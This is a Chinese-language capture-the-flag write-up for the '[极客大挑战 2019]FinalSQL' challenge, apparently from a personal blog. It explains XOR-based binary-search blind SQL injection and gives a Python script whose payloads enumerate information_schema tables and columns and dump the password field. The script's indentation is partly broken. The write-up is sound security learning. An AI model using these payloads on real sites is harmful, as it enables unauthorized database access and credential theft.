二分法盲注

[极客大挑战 2019]FinalSQL

查看第五个数字的时候,发现提示

image-20210111205316927image-20210111205316927

访问一下第六个数字

image-20210111205350930image-20210111205350930

看了一下wp,这里提示需要使用异或盲注

使用盲注查看数据库的长度

image-20210111205926348image-20210111205926348

:open_mouth: 是不是哪里弄错了

检查之后发现我把异或的基本判断定理都弄错了 我是憨憨

修改payload,写脚本盲注

// 脚本
// 二分法
import requests
import time

url = "http://8b15efee-ef59-4f8e-83dd-660824e442eb.node3.buuoj.cn/search.php"
flag = ''

for i in range(1,100000):
    hight = 127
    low = 31
    while hight>=low:
        mid = (hight+low)// 2
        # data = {'id':'0^(ascii(substr(database(),{},1))>{})'.format(i,mid)}  # 查表名  geek
        # data = {'id':"0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{},1))>{})".format(i,mid)} # 查库名 F1naI1y
        #data = {'id':"0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{},1))>{})".format(i,mid)} #查字段 id userh
         data = {'id':"0^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),{},1))>{})".format(i,mid)} # 查字段值
        response = requests.get(url,params=data)
        s = response.text
        if "others~~~" in s:
            low = mid + 1
        else:
            hight = mid - 1
        time.sleep(1)
    f = int((low+hight+1))//2
     if(f==127 or f==31):
         break
    flag = flag + chr(f)
    print(flag)

可能是由于buu平台的原因,脚本执行过久就会出现错误,但是主要是要学会对sql盲注的脚本编写,并且熟练掌握二分法

脚本执行太快会报错,这里使用一个sleep()函数

最后修改于:2021年03月31日 21:51

添加新评论